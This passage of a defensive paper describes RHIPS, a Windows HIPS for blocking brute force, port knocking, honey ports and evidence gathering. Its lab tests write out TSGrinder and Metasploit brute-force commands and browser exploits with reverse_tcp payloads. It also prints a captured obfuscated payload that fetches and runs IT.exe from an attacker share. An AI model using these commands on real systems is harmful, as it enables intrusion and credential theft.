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Abstract 
Ever wish you could observe, report, and react in a timely manner after an event 
occurred?  Evidence information can disappear after time has passed and attacks 
can cause further harm if allowed to continue. The speed and manor in which you 
react can have an affect on the outcome. Using a Host Intrusion Prevention System 
(HIPS) can help prevent attacks from occurring, stop attacks in progress and gather 
evidence. This paper will cover configuring and implementing a Windows based log 
file monitoring HIPS. Using the HIPS to block remote password brute force attempts, 
leverage port knocking, work with a honey port, and work as part of a honey pot to 
gather evidence and report the incident to ISPs. 
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1. Introduction 
System security policies can still have security holes after implementation and 
may even introduce unintended consequences. By identifying those risks, policies can be 
built upon and extended by use of HIPS controls to accomplish more granular policy 
enforcement. This allows security holes to be filled and help mitigate the negative impact 
of a security policy.  
This paper stems from multiple incidents of password guessing attempts on a 
system which had RDP exposed over port 3389. The effects of the password guessing 
experienced was excessive amounts of failed logon attempts, locked out accounts and 
large amounts of connections on port 3389 from a single IP. Not wanting to accept these 
attacks and the affects as normal expected behavior, a solution to combat the problem 
was developed. This evolved into Rhythm Host Intrusion Prevention System (RHIPS), 
which was written as the engine to drive the solutions this paper details (Boyle, 2013c). 
While the log file monitoring software utilized was written for this project, comparable 
software could be supplemented. Additional scripts and tools are also utilized to tie back 
into the log file monitoring application.  
1.1.  RHIPS Overview 
RHIPS was written as a visual basic application modeled after some event 
monitoring VB scripts openly found on the internet (Craig, 2012; Anderson, 2009). In 
its basic form, the script could match given criteria to an event notification and generate 
an alert. Counters were added to keep track of how many event matches occurred in a 
given period of time. In addition to alerting on event matching, the application allows for 
an action to be taken.  
The RHIPS software contains several executables. The two main ones are the 
front end GUI for configuration editing, and the back end engine which processes the 
events. The engine can be installed as a service to ensure it starts up with the system 
(Merzlikin, 2004). In the GUI, new rules can be created to match events on event ID, 
source, category, type, user and description. Within each rule a number of instances 
before alerting, the number of instances to kick off action, the action to take, correlate IP  
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address and gather evidence can be specified. The action to take can be configured as an 
email or a user specified command. Also a timed user specified command can be run 
after the initial action has executed. 
1.2.  Implementing HIPS Rule 
Make sure the basics are implemented and working within the environment before 
moving forward with HIPS deployment. Policies should be defined, procedures setup and 
documented (Lawson, 2012). Infrastructure should be on a mitigation cycle. Best 
practices should be followed where possible to secure and lock down the environment. 
Configuring a HIPS when there are OS and network security holes is not going to help 
that much.  
Start by setting a goal which can be something like secure service X running on 
port Y, or prevent attack Z. That is great if a specific idea comes to mind of how to 
accomplish the goal but keep an open mind to other possibilities. Once one or two ideas 
have been pinned down to meet the goal, check that the functionality is there or can be 
produced to in some way. At this point not everything needed may be ironed out. As 
information comes in the strategy might change.   
Set a baseline of what normal system behavior should be so that deviations from 
the norm can be detected. Base-lining normal behavior is a good security practice. The 
baseline should include data relevant to the goal such as firewall logs for a particular 
service. Once the baseline data has been gathered, analyze the baseline to gain a better 
understanding of the normal behavior occurring on the system. 
Review the system policies and extend them to cover the goal that was set. This 
should map to the HIPS rule that will be created while taking into account the baseline 
that was analyzed. Set the detection, alert, and action fields using the information from 
previous steps. Once configured confirm the outcome is the expected and planned result. 
Try to think of unintended flaws in the implementation. If flaws are found loop, back to 
the appropriate previous step and continue through the process again. 
The HIPS action needs to fall in line with incident response policy and procedure. 
Processes should be built for incident responders around the HIPS alerts/logs. While  
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HIPS can take action on an incident, it does not perform the whole incident handling 
process. If everything checks out, implement the new rule. 
HIPS should be configured uniquely for the different system types. For example, 
a workstation should be configured differently than a file server as they serve different 
roles. Keep in mind the kinds of use the system receives along with its value or 
sensitivity while building the HIPS rules. Utilizing the baseline build upon or extend the 
system policies applied to those systems.  
For instance, if there is a file server with baseline showing heavy file sharing use 
and serves up critical data, outages of this service should be avoided. The user account 
lockout policy on the system is set to 3 failed logon attempts. The HIPS is set to block the 
source IP after 10 failed logon attempts within 1 minute limiting the amount of accounts 
one system can lock out. This approach is adequate unless all the traffic is coming from 
one system with multiple users such as a terminal server. An assessment may be needed 
at this point. A process could be put in place around this, or a decision made to adjust the 
rule to create a whitelist of terminal servers that the block will not apply to.  
1.3.  RHIPS Actions 
Adding custom actions allows for an email alert to be sent out or run a specified 
external application. When running an external application, tokens can be passed in the 
command line. The %EDT% token will be replaced with the event’s date and time where 
the %CDT% token will be replaced with current date and time. The %LIP% will be 
replaced with the local IP address. The %EDTF% and CDTF% produce the same output 
as %EDT% or %CDT% but formatted to replace spaces, colons, and forward slashes. The 
%RIP% token will be replaced with the remote correlated IP address. Two blocking 
actions will be used for this project. The first was utilized for Windows systems that do 
not have the ability to block a specific IP address. To supplement this change the routing 
table via the route command: 
route -p add %RIP% mask 255.255.255.255 192.168.0.254 
 
The above command adds a persistent route for the correlated IP address going to 
an unused IP address in the routing table. This is similar to a Null Route, or a black hole  
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approach (“Null Route”, n.d.). Traffic sent to the remote IP address will be routed to the 
non responsive address and dropped. This will prevent any response making it to the 
remote IP address. To remove the block enable the timed task on the action to run the 
below command and set the time period to wait before removing the block: 
route delete %RIP% 
 
The second block action is for Windows Vista and greater. It utilizes the netsh 
advfirewall command to add a rule to block the remote IP within the Windows Firewall 
(Microsoft, 2012e): 
netsh advfirewall firewall add rule name="RHIPS%RIP%" dir=in remoteip=%RIP% 
action=block 
 
Remove block from Windows firewall: 
netsh advfirewall firewall Delete rule name="RHIPS%RIP%" 
 
For Windows XP and 2003 to allow a specific IP in the firewall (Microsoft, 
2009): 
Netsh firewall add portopening tcp 3389 RDP_RHIPS enable custom %RIP% 
 
Remove allow firewall rule: 
delete portopening protocol=all port=3389 
 
To allow a specific IP in the firewall for Windows Vista, 2008 and greater: 
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow 
protocol=TCP localport=80 
  
Remove allow firewall rule: 
netsh advfirewall firewall delete rule name="Open Port 80" protocol=tcp localport=80  
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2. Honey Port 
Guilty by association does not always work 100% of the time. If a trip wire is set 
and someone trips it that does not necessarily mean they are guilty. One way to handle 
this is to make it against policy to trigger the trip wire. This removes it from being 
considered accidental and thus it will deviate from being considered a normal event. Then 
anything caught associating can be accused an incident and action taken. John Strand 
(2012) touched on this in his everything they told me about security is wrong 
presentation. In his example, a script is run to check for full TCP connections to port X 
and blocking the associated remote IP address.  
The company implementing this would have a policy that any IP associating with 
port X on the systems would be blocked. The company should also have procedures 
around the triggering of these events tied back into the corporate incident handling 
policies and procedures. Alerts should be generated and reviewed. Once reviewed, action 
may need to be taken such as further steps to eliminate the threat or removing the block 
once the threat has been dealt with. 
This can introduce some risk. Even with this being company policy, an 
unknowing or malicious user could cause some serious harm in certain situations. Since 
blocking any computer could cause a DoS, consider building a whitelist of machines and 
ports that can not be blocked. If that is not a fit, use some other variation to prevent 
problems such as alert only or not using this rule at all. Different systems can hold 
different value and perform different roles which need to be taken into consideration. 
This is why a risk assessment should be included (Jones, 2012). 
If considering writing a whitelist function, it might be a good idea to alert when a 
whitelisted host sees a violation. If the event is still considered out of the norm but there 
is a need to prevent interruptions of services, alerting will allow for manual response. 
This is a good example of what can be done with RHIPS. (start netcat with a 
batch that creates an event when someone connects to it or use program that logs netstat 
results every 5 seconds). Honey port can be useful to prevent scanning enumeration and 
stop an attack before it moves to the next phase. For example, move the RDP port off 
3389 and replace it with a honey port. Anyone wanting to attack the system over RDP 
would likely connect to that port first before trying against other open ports.  
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2.1.  Honey Port Example 
For the Honey Port example, a netcat listener and calling EventCreate within a 
batch are used to tie back into the HIPS (Microsoft, 2012f). To verify an established 
connection netstat is queried before executing Event Create (Skoudis, 2008, 2009, 
2010). For compatibility with Windows Vista and 7 Ncat, a modern netcat 
implementation was substituted (Lyon, 2009). The event created is uniquely identifiable 
for the HIPS to key off of for identification. 
 
(CreateEvent.bat): 
@echo off 
for /f "tokens=1" %%i in ('netstat -n ^| find ":80" ^| find /c "ESTABLISHED"') do if not 
%%i equ 0 EVENTCREATE /L APPLICATION /SO "Rhythm Host Intrusion Prevention 
System" /ID 101 /t Information /d "A connection has been made to port 80.">nul 
 
Netcat command to start the listener: 
nc -d -L -p 80 -e CreateEvent.bat 
ncat –k -l -p 80 -e CreateEvent.bat 
 
Now that the information to identify the incident has been obtained, a rule in the 
HIPS can be created. Using the information in the EVENTCREATE command filter to 
event ID 101 in the Application Event Log with an event source of “Rhythm Host 
Intrusion Prevention System” and containing the sub string “port 80.”. Set the number of 
instances before alerting to 0, set number of instances to kick off action to 1, select the 
action to block specific IP, and choose to get IP address using port 80. Since Netcat is 
listening on port 80 tell the HIPS when alerting and responding to correlate the event 
with port 80 which populates the %RIP% token with the remote IP address making the 
connection.  
The honey port should react the first time the event occurs, which is accomplished 
by setting the number of instances to kick off action to 1. The only behavior the rule is  
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looking for is a TCP full connection before creating an event so it should not have to go 
back very far in the logs. Given this set the number of time to go back in the logs for IP 
correlation to 0 seconds. Matching the time stamp helps with lowering false correlations.   
To test the honey port, any TCP network scanner can be used to generate a TCP 
full connection to the honey port. First, start the netcat listener to launch the create event 
batch file when a connection is made. Second, generate the full TCP connection to the 
netcat listener port. Third, check that the action was executed properly. If successful the 
remote IP generating the connection to the honey port should have been blocked. If the 
action was unsuccessful, check the event log to ensure the honey port was triggered and 
check HIPS logs for further information.  
3. Service Port Pre-authentication 
Blocking a network service to remote hosts is in general a good idea. It reduces 
the attack surface of the system running the service. Using a firewall to control the access 
is a standard practice. However, given the nature of network services, they will likely 
need other systems to access them. Holes then need to be poked in the firewall rules to 
allow specific hosts access to the network service. 
There may come an occasion when a network service needs to be accessed from a 
host that is not in the firewall allowed rule list. In this situation access needs to be gained 
to change the firewall rules. If physical access is not an option something will likely need 
to be exposed to the internet. Exposing the service to everything on the internet could 
make it a tempting target for attackers, so perhaps exposing something less tempting 
would be a lower risk. 
Microsoft has a great solution for RDP called network level authentication 
(Microsoft, 2012a). Using NLA forces the authentication to occur before the full RDP 
connection can be established (Microsoft, 2012c). This feature however is not available 
for all services. Using port pre-authentication, access to the service is blocked for all 
systems but allows the ability to unlock the port after remote authentication occurs.  
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3.1.  Port Knocking 
Port knocking has several different implementations (Krzywinski, 2012). There 
are many creative ways to approach port knocking however, this particular 
implementation sticks to the basics. A series of network port connections are made and if 
done in the right order the hidden port is opened to the source IP address. The 
authentication is started by connecting to a netcat listener, which launches the Port Knock 
Verifier (Boyle, 2013b). The Port Knock Verifier compares the windows firewall log 
against the preset list of connections. If a match is made, the connecting IP address gets 
added to the firewall allowed list for the restricted port.  
3.2.  Port Knocking Example 
The Port Knock Verifier requires the Windows firewall be set to log connections 
and dropped packets: 
Windows XP: 
netsh firewall set logging filelocation=%windir%\pfirewall.log connections=enable 
droppedpackets=enable 
Windows Vista and 7: 
netsh advfirewall set allprofiles logging droppedconnections enable  
 
Port Knock Verifier requires several parameters to perform the authentication. 
The first parameter is the port(s) that the tool will be looking for. When more than one 
port is specified it will be separated by comma with no spaces. The ports should be in the 
order of the knock sequence from first to last. On Windows Vista and 7, this required 
something listening on the ports and the firewall configured to block or allow for the 
packets to be logged. 
The second parameter is the firewall action associated with port number specified 
in the first parameter. The firewall action is represented by a two character code. The first 
character will either be an “a” for accept or a “d” for drop. The second character specifies 
the protocols which are “t” for TCP, “u” for UDP, and “i” for ICMP. If more than one  
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port was specified, the two char firewall action codes should be comma separated and 
should not contain spaces. 
The third parameter is the rule name. This will be inserted in the event that gets 
logged when a successful knock occurs. This part of the rule is used to uniquely identify 
this instance of an authenticated port knock. It is also the name of the firewall rule that 
will be created if a port is specified in parameter 5. Since the Windows XP firewall 
overwrites rules with the same name, consider adding a token of the remote IP address 
(%RIP%). 
The forth parameter is the time period in seconds to go back in the logs to match 
the port knock pattern. The remote system will have to start and complete the port knock 
within this time frame. The fifth parameter is optional and specifies the port to be opened 
to the remote machine.  
See the below example of a batch file to launch port knock verification (Skoudis, 
2008, 2009, 2010). 
 
 (CheckKnock.bat): 
@echo off 
for /f "tokens=1" %%i in ('netstat -n ^| find ":30548" ^| find /c "ESTABLISHED"') do if 
not %%i equ 0 EVENTCREATE /L APPLICATION /SO "RHIPS" /ID 101 /t Information 
/d "Rhythm Host Intrusion prevention System - A connection has been made to port 
30548.">nul 
Port_Knock_Verifier.exe 1274,48305,9463,6168,30548 dt,dt,dt,dt,at Allow_Port_Knock 
35 4321 
 
The command to run the netcat listener: 
nc -L -p 30548 -e CheckKnock.bat 
ncat –k -l -p 30548 -e CheckKnock.bat  
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To perform the port knock a simple batch script will work: 
@echo off 
start nc -z -d -w 1 192.168.17.102 1274 
start nc -z -d -w 1 192.168.17.102 48305 
start nc -z -d -w 1 192.168.17.102 9463 
ping 127.0.0.1 -n 1 >nul 
start nc -z -d -w 1 192.168.17.102 6168 
ping 127.0.0.1 -n 15 >nul 
nc -d -w 1 192.168.17.102 30548   
 
The ping command is used as a delay function to ensure the tcp full connection is 
logged last (Skoudis, 2008). For netcat to execute the script on the last port connection 
the –z parameter must not be used. Executing the listener and then running the port knock 
sequence from a remote host should trigger an event in the application log and add a 
firewall entry with the name Allow_Port_Knock allowing port 4321 to the remote IP. 
 
Rhythm Host Intrusion Prevention System - Port Knock Authenticated 
Rule Name=Allow_Port_Knock 
IP=192.168.17.122 
 
Using the information in the EVENTCREATE command filter to event ID 101 in 
the Application Event Log with an event source of “Rhythm Host Intrusion Prevention 
System” and containing the sub string “port 30548.”. Set the number of instances before 
alerting to 0, set number of instances to kick off action to 4, set the number of time to go 
back in logs for event aggregation to 30 minutes, select the action to block specific IP,  
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choose to get IP address using port 30548. Ensure the action to block has a 30 minute 
timer to remove the block firewall rule. This essentially acts as a lock out policy for the 
port knock authentication. If within 30 minutes, 4 connections are made to the honey port 
used by the port knock sequence the remote system will be block for a 30 minute time 
period.  
Using the information in the EVENTCREATE command filter to event ID 101 in 
the Application Event Log with an event source of “Rhythm Host Intrusion Prevention 
System” and containing the sub string “Rule Name=Allow_Port_Knock”. Set the number 
of instances before alerting to 0, set number of instances to kick off action to 1, select the 
action to allow specific IP, and choose to get IP address using port 30548. Configure the 
action that creates the firewall allow rule with a 2 hour timer to remove the rule. This will 
ensure that the firewall allow rule is not left open to the IP address that authenticated 
using the port knock. 
4. Remote Password Guessing 
If an incident (an adverse event that deviates from the norm) can automatically be 
identified and reacted to with the predefined incident handling process, then efficiency is 
gained. This moves to a more proactive stance from a reactive and response time to 
incidents can be dramatically reduced. Automation may only be able to be applied to 
certain events, but automating some of it can be a big gain for both better security and 
less time spent looking into event.  
Some may just accept an event as being the norm, such as logon attempts to an 
internet facing SSH, but ignoring the event may be costly if the system is not locked 
down properly and a hole is found. Applying best practice hardening/lock down and 
monitoring the configuration for changes can go a long way for a secure environment 
(Hite, 2009). Keep in mind that the lockdown can affect functionality and ease of use as 
the security, functionality, ease-of-use triad explains.  
Instead of letting an attacker continually perform a brute force against remote 
logon, block them after so many attempts. Brute force can have many affects. For  
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instance, if the system logs such events this can fill up the log with many entries which 
require sifting through and could cause the logs to roll. It was noticed with the Morto 
worm that it could have 30-45 minutes of logon attempts logged with over X amount of 
logon attempts. Also the firewall log showed a lot of traffic due to the brute force 
reconnects.  
Account lockout works well against brute force attacks, but does create a DoS 
situation for the account being locked out, and given enough DoS attacks against various 
accounts, could cause a DoS on the help desk. The effects of this were seen with the 
release of conficker.b into an internal domain (Porras, Saidi, & Yegneswaran, 2009). 
Some accounts that do not lock out (such as the domain administrator) should be disabled 
or logon attempts closely monitored. If a lockout can be applied on the offending IP 
address this can limit the amount of locked out accounts one system can cause. Blocking 
the remote host performing password guessing can help prevent further password 
guessing, which could lead to a successful guess. 
4.1.  Block RDP Password Guessing Example 
For this example, filter to a logon type of 10 as that is the type for RDP (Lee & 
Faculty, 2012; Smith, 2013). Enable audit account logon events and audit logon events 
policies for both success and failure. 
 
Windows XP: 
For detection filter to Event IDs 529 and 539 in the Security Event Log with a 
Source of Security, Category of Logon/Logoff, audit failure Type, from any user, with 
Description containing Logon Failure and substring of “Logon Type:%TAB%10”. 
 
Windows Vista/7/2008:  
For detection filter to Event ID 4625 in the Security Event Log with a Source of 
Microsoft-Windows-Security-Auditing, Category of Logon, Audit Failure Type, from 
any user, with Description of “An account failed to log on.” and substring of “Logon 
Type:%TAB%%TAB%%TAB%10”. 
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For alerting and response configure number of instances to kick off action to 4, 
restrict timeframe of event instances to 30 seconds, action to take Block IP Route, Get IP 
address using port number 3389. 
To test RDP brute force blocking this example will use TSGrinder but a similar 
tool such as DUBrute could be substituted (4don4i 2012). TSGrinder requires being an 
old version of RDP client and has a dependency of roboclient. The below command can 
be used to trigger password guessing using the dictionary with leet speak substitution 
(wcosug, (2008): 
tsgrinder.exe -w dict -l leet -u testLogon 192.168.17.102  
 
The result from this test is that TSGrinder’s attempts to logon are detected and 
before it could start its second round of logon attempts access was blocked.  
4.2.  Block SMB Password Guessing Example 
For this example filter to a logon type of 3 as that is the type for network logon (Lee & 
Faculty, 2012; Smith, 2013). 
 
Windows XP: 
For detection filter to Event IDs 529 and 539 in the Security Event Log with a 
Source of Security, Category of Logon/Logoff, audit failure Type, from any user, with 
Description of Logon Failure and substring of “Logon Type:%TAB%3”. 
 
Windows Vista/7/2008:  
For detection filter to Event ID 4625 in the Security Event Log with a Source of 
Microsoft-Windows-Security-Auditing, Category of Logon, Audit Failure Type, from 
any user, with Description of “An account failed to log on.” and substring of “Logon 
Type:%TAB%%TAB%%TAB%3”. 
 
For alerting and response configure number of instances to kick off action to 4, 
restrict timeframe of event instances to 15 seconds, action to take Block IP Route, Get IP 
address using port number 445.  
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Metasploit’s smb_login module is used to execute the brute force logon attempts 
(Offensive Security Ltd., 2012): 
Use auxiliary/scanner/smb/smb_login 
Set PASS_FILE /root/Desktop/pass.txt 
Set USER_FILE /root/Desktop/users.txt 
Set THREADS 16 
Set BRUTEFORCE_SPEED 5 
Set RHOSTS 192.168.1.204 
run 
 
The results of this were that the logon brute force was blocked after 40 logon 
attempts. 
5. Gathering Evidence 
When an incident is identified gathering evidence can be important. Take the 
honey port example:  Of course it is a good idea to log evidence of the honey port 
connection as it violates policy, but it is also worth considering what other evidence may 
be useful to gather. Some evidence is volatile and the sooner a copy is made the better 
(Henry, 2009). The list of network connections, process table, caches, routing table, logs 
can all change (Brezinski & Killalea, 2002).  
 
5.1.  Microsoft EMET 
Monitoring for application crashing can be a good thing. Software applications 
can contain bugs, which cause them to crash in certain situations. A crash can also mean 
a failed attempt at exploitation or a DoS attack. If one of the system’s applications is 
crashing gathering evidence around that can help determine root cause. Particularly 
interesting is application crashes caused by mitigations preventing exploitation such as 
those provided by Microsoft EMET. 
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Microsoft EMET allows someone to apply mitigation technologies such as DEP, 
ASLR and heap spray protection to executables (Microsoft Corporation, 2012). These 
mitigations work as active defenses against certain attacks helping prevent successful 
exploitation (Microsoft, 2011). When the executable launches EMET applies the 
specified mitigation technologies and monitors the events. Microsoft EMET will log 
blocked exploitation attempts to the application log at the error level with a source of 
EMET.  
For this example, a system vulnerable to ms12-063 is used. Apply HeapSpray 
mitigation via EMET to Internet Explorer on the vulnerable system.  
 
Windows XP: 
For detection filter to Event ID 2 in the Application Event Log with a Source of 
EMET, Type of error, with Description containing “mitigation and will close the 
application:” and substring of “iexplore.exe”. 
 
Windows Vista and 7: 
For detection filter to Event ID 1000 in the Application Event Log with a Source 
of Application Error, Type of Error, with Description containing “Faulting application” 
and substring of “iexplore.exe”. 
 
For alerting and response, configure number of instances to kick off action to 0 
and action to take to “get evidence”. The “get evidence” action executes the below batch 
script passing it the %CDTF% token (Savill, 2000): 
Netstat /naob > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_netstat.txt" 
ipconfig /DisplayDNS > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_dnscache.txt" 
wmic process list > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_proclist.txt" 
arp -a > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_arpcache.txt"  
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route print > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_routetable.txt" 
ipconfig /all > "c:\Documents and Settings\All Users\Application 
Data\RandomRhythm\RHIPS\Evidence\%1_ipconf.txt" 
 
Metasploit’s MS12-063 Microsoft Internet Explorer execCommand Use-After-
Free Vulnerability exploit is used to trigger the EMET notification (Rapid7, 2012): 
Use exploit/windows/browser/ie_execcommand_uaf 
Set PAYLOAD windows/meterpreter/reverse_tcp 
Set LHOST 192.168.1.106 
Exploit 
 
On the vulnerable system, browse to the Metasploit given URL and the exploit 
will commence. The result is EMET blocks the exploit attempt. On XP EMET also logs 
that HeapSpray mitigation was detected, and reports it is closing the instance of Internet 
Explorer. On Windows Vista and 7 an event is created for iexplore.exe crashing. RHIPS 
matches the detection rule to the Windows event and triggers the get evidence batch file. 
As the batch file executes, it outputs copies of the network connection data, DNS cache, 
process list, ARP cache, routing table and IP network configuration.  
Analyzing the process list output in Windows XP confirms which iexplore.exe 
PID is the crashed process as dumprep.exe is shown creating error info for the specific 
PID (Microsoft, 2005). In Vista and 7 converting the PID identified in the application 
crash event from hex to decimal reveals the crashing process. The output of netstat shows 
active connection from the identified iexplore.exe PID to the Metasploit host. The TCP 
connection to the remote Metasploit host is also seen in the windows firewall log as 
opening at the same event time as the EMET notification.  
The data collected in response to the incident can be correlated with other 
evidence from the incident. The process that crashed is the Internet Explorer web 
browser. Examination of the temporary internet files cache reveals two HTML 
documents with creation times that match the event time of the EMET notification (Lee  
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& Faculty, 2012). The index.dat shows the URLs for the temporary files are from the 
same IP as the Metasploit host.  
5.2.  Software Policy Restrictions 
Not all folders on a system should be allowed to execute code. There are certain 
directories that either should only contain non-executable data or simply the executable 
content within the folder should never be executed. For this, consider configuring 
Windows Software Restriction Policies rules to block and allow execution. Preventing 
execution from these identified directories can reduce attack surface and be used to 
identify potentially malicious activities.  
Monitoring for software restriction policy violations in the Windows Event Log 
can give a heads up about suspicious activity on a system. Directories such as the 
recycler, Windows Fonts the printer spool should set off alarms when files attempt to 
execute out of them (Hoglund, 2012). Reviewing these events can also identify blocked 
applications that legitimately need to execute. When an incident is encountered a review 
of the policy and tweaks may be necessary. 
There are several approaches to using software restriction policies for improving 
system integrity. The main options when enabling software restriction policies are 
unrestricted, which allow execute based off access rights and disallow which prevents 
running software regardless of access rights. Once set additional rules can be configured 
to allow or deny at a more granular level. Choices for rules are hash, certificate, path and 
zone. The example used will focus only on the use of path rules.  
There are several options for software restriction policies. The most secure way to 
configure software policy restrictions is to default to disallowing all and specifying the 
exceptions to be allowed also known as a whitelist approach.  
For this example a Windows XP system vulnerable to ms10-042 is used however 
instructions for Windows Vista and 7 are included. Apply software policy restriction for 
the following to be disallowed on the vulnerable system:  
 
Windows XP: 
%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell 
Folders\Local Settings%   
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Windows Vista and 7: 
%HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell 
Folders\Local AppData% 
 
Windows XP, Vista and 7: 
For detection filter to Event IDs 866 in the Application Event Log with a Source 
of Software Restriction Policies, Type of warning, with Description containing “has been 
restricted by your Administrator by location with policy rule”  
 
For alerting and response, configure number of instances to kick off action to 0 
and action to take to “get evidence”.  
 
Metasploit’s MS10-042 Microsoft Help Center XSS and Command Execution 
Vulnerability exploit is used to trigger the software policy restriction notification 
(Rapid7, 2010): 
use exploit/windows/browser/ms10_042_helpctr_xss_cmd_exec 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 192.168.1.106 
set LPORT 4443 
exploit 
 
On the vulnerable system browse to the Metasploit given URL and the exploit 
will commence. The result is Windows software restriction blocks the script execution. 
The event is logged, informing access to the executable has been restricted by your 
Administrator by location policy rule placed on the path. RHIPS matches the detection 
rule to the Windows event and triggers the get evidence batch file. As the batch file 
executes it outputs copies of the network connection data, DNS cache, process list, ARP 
cache, routing table and IP network configuration. The alert generated gives the path to 
the file that was attempting to be executed:   
Event ID:       866  
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Date/Time:      12/10/2012 18:19:29 
Computer:       NAME-F1849859EE 
Event Log:      Application 
Event Source:   Software Restriction Policies 
Event Category:  
Event Type:     warning 
User Name:       
Message: 
 
Access to C:\DOCUME~1\TESTAD~1\LOCALS~1\Temp\Bz.vbs has been restricted by 
your Administrator by location with policy rule {533a1a49-3274-4e09-b1fe-
81c0c064510b} placed on path C:\Documents and Settings 
 
Analyzing the evidence collected starting with process list output a process stands 
out from the others due to the long command line: 
"C:\WINDOWS\PCHealth\HelpCtr\Binaries\HelpCtr.exe"  -FromHCP -url 
"hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%
uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFF
FF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF
%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uF
FFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..\..\sysinfomain.ht
m%u003fsvr=<script 
defer>eval(unescape('Run%28String.fromCharCode%2899%2c109%2c100%2c32%2c4
7%2c99%2c32%2c101%2c99%2c104%2c111%2c32%2c87%2c83%2c99%2c114%2c10
5%2c112%2c116%2c46%2c67%2c114%2c101%2c97%2c116%2c101%2c79%2c98%2c 
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106%2c101%2c99%2c116%2c40%2c34%2c87%2c83%2c99%2c114%2c105%2c112%2
c116%2c46%2c83%2c104%2c101%2c108%2c108%2c34%2c41%2c46%2c82%2c117%
2c110%2c32%2c34%2c99%2c109%2c100%2c32%2c47%2c99%2c32%2c99%2c111%2
c112%2c121%2c32%2c92%2c92%2c49%2c57%2c50%2c46%2c49%2c54%2c56%2c46
%2c49%2c46%2c49%2c48%2c54%2c92%2c75%2c92%2c73%2c84%2c46%2c101%2c
120%2c101%2c32%2c37%2c84%2c69%2c77%2c80%2c37%2c32%2c38%2c38%2c32
%2c37%2c84%2c69%2c77%2c80%2c37%2c92%2c73%2c84%2c46%2c101%2c120%2
c101%2c34%2c44%2c48%2c44%2c102%2c97%2c108%2c115%2c101%2c62%2c37%2
c84%2c69%2c77%2c80%2c37%2c92%2c66%2c122%2c46%2c118%2c98%2c115%2c1
24%2c99%2c115%2c99%2c114%2c105%2c112%2c116%2c32%2c37%2c84%2c69%2c
77%2c80%2c37%2c92%2c66%2c122%2c46%2c118%2c98%2c115%2c62%2c110%2c1
17%2c108%29%29%3b'))</script>"   
 
The Unicode and character codes in the command line look suspicious. Using a 
basic character code array decoder, the character codes are converted into characters 
(Boyle, 2012): 
cmd /c echo WScript.CreateObject("WScript.Shell").Run "cmd /c copy 
\\192.168.1.106\K\IT.exe %TEMP% && 
%TEMP%\IT.exe",0,false>%TEMP%\Bz.vbs|cscript %TEMP%\Bz.vbs>nu 
 
After converting the character codes the file software policy restrictions prevented 
from running is shown being created. Tracing back the parent PID of HelpCtr.exe reveals 
iexplore.exe as the process launching HelpCtr.exe with the long parameter of codes. 
Checking the netstat output for the PID of iexplore.exe lists an established network 
connection to the backtrack server. 
6. Honey Pot 
Honey pots can act as an early warning system for a network informing the 
operator of potentially malicious behavior. This system typically does not have any 
legitimate reason for someone to access it. Any remote connection attempt could be 
considered abnormal and provide reason for suspicion. Recording the events and  
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collecting data for analysis can provide needed data to not only identify, but respond to 
incidents. 
6.1.  Honey Pot Configuration 
For this honeypot example, a Windows XP system was used for the honeypot 
however filter instructions for Vista and 7 are included. Administration of the honey pot 
is done through the console session. The built-in Administrator account was renamed to 
allow that name to be used by a non-privileged account. User account Administrator was 
created on the honeypot and was removed from the users group. Also, Authenticated 
Users group was removed from the users group (Smith, 2005). A weak password of 
“password” which is commonly exploited by network worms was used to allow for 
remote access (Bitton, 2011; Cluley, 2009; Valderama & Manahan, 2012). 
This honeypot system was placed on a separate network than the production 
network. This separate network has no access to the production network (Grimes, 2005). 
A NAT address on the production network is forwarding SMB ports 
(TCP+UDP/137:139, TCP+UDP/445) to the honeypot system. DCOM port 135 was 
forwarded to allow remote DCOM WMI access (Microsoft, 2012b). Dynamic RPC ports 
were remapped to a static range on the honeypot system (Microsoft, 2012d). This 
allowed forwarding the specified ports on the firewall to the honeypot. All these ports 
were also opened on the honeypot’s Windows Firewall.  
Even with ports opened RPC was not functioning properly. One workaround was 
to add the host to DNS, but if a system on the network was not configured to use that 
DNS server the problem would still occur. A choice was decided to allow traffic to route 
through the firewall to the honeypot subnet address (Simmons, 2005). This allows for 
production network systems to connect directly to the honeypot’s network address but 
prevented connections from being initiated the other direction. 
So from the honeypot perspective it is communicating with the connecting client. 
From the client perspective it is communicating with a system connected to the 
production subnet which is actually the NAT on the Firewall. When RPC is invoked 
communication can occur from the client to the honeypot directly in order to transfer  
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needed RPC data. However the honeypot is prevented by the firewall to initiate 
connections to systems in the production subnet. 
DCOM permissions were modified to allow the restricted Administrator account 
launch and activation permissions along with and remote access permissions. Granting 
DCOM permissions allow the restricted administrator account to remotely access the 
system over RPC. WMI Control permissions were also modified to grant the account 
Remote Enable permissions to the ROOT/CIMV2 namespace (Microsoft, 2012g). The 
